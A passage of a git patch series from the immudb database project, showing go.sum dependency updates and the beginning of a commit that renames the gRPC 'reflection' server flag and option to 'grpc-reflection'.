github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= -github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= @@ -469,13 +463,7 @@ github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= -github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= -github.com/opencontainers/image-spec v1.0.2/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= -github.com/opencontainers/runc v1.1.2/go.mod h1:Tj1hFw6eFWp/o33uxGf5yF2BX5yz2Z6iptFpuvbbKqc= -github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= -github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/ory/dockertest/v3 v3.9.1/go.mod h1:42Ir9hmvaAPm0Mgibk6mBPi7SFvTXxEcnztDYOJ//uM= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= @@ -556,7 +544,6 @@ github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5A github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/seccomp/libseccomp-golang v0.9.2-0.20210429002308-3879420cc921/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= @@ -564,8 +551,6 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= -github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= -github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= @@ -595,6 +580,7 @@ github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiu github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= @@ -603,22 +589,19 @@ github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81P github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= -github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= -github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= -github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= -github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= -github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= -github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= -github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= +github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -670,7 +653,9 @@ golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3 golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= @@ -766,8 +751,9 @@ golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220520000938-2e3eb7b945c2/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220708220712-1185a9018129 h1:vucSRfWwTsoXro7P+3Cjlr6flUMtzCwzlvkxEQtHHB0= golang.org/x/net v0.0.0-20220708220712-1185a9018129/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -817,7 +803,6 @@ golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -827,7 +812,6 @@ golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191115151921-52ab43148777/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -849,7 +833,7 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200831180312-196b9ba8737a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -876,12 +860,9 @@ golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211116061358-0a5406a5449c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -891,16 +872,17 @@ golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220405210540-1e041c57c461/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d h1:/m5NbqQelATgoSPVC2Z23sR4kVNokFwDDyWh/3rGY+I= golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -909,11 +891,14 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -928,7 +913,6 @@ golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBn golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -1192,8 +1176,6 @@ gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= -gotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= From 130623712748315b9c1d2669ce48e9695227f869 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 9 Mar 2023 22:49:12 +0100 Subject: [PATCH 0298/1062] Renaming reflection to grpc-reflection --- cmd/immudb/command/init.go | 2 +- cmd/immudb/command/parse_options.go | 4 +- pkg/server/options.go | 146 ++++++++++++++-------------- pkg/server/server.go | 2 +- 4 files changed, 77 insertions(+), 77 deletions(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 6a4e61ae3c..94407e540b 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -84,7 +84,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("session-timeout", 2*time.Minute, "session timeout is a duration after which an inactive session is forcibly closed by the server") cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") - cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC reflection server enabled") + cmd.Flags().Bool("grpc-reflection", options.GRPCReflectionServerEnabled, "GRPC reflection server enabled") cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index fcc038b617..667404f0ca 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -82,7 +82,7 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") - reflectionServerEnabled := viper.GetBool("reflection") + grpcReflectionServerEnabled := viper.GetBool("grpc-reflection") swaggerUIEnabled := viper.GetBool("swaggerui") s3Storage := viper.GetBool("s3-storage") @@ -145,7 +145,7 @@ func parseOptions() (options *server.Options, err error) { WithPProf(pprof). WithLogFormat(logFormat). WithSwaggerUIEnabled(swaggerUIEnabled). - WithReflectionServerEnabled(reflectionServerEnabled) + 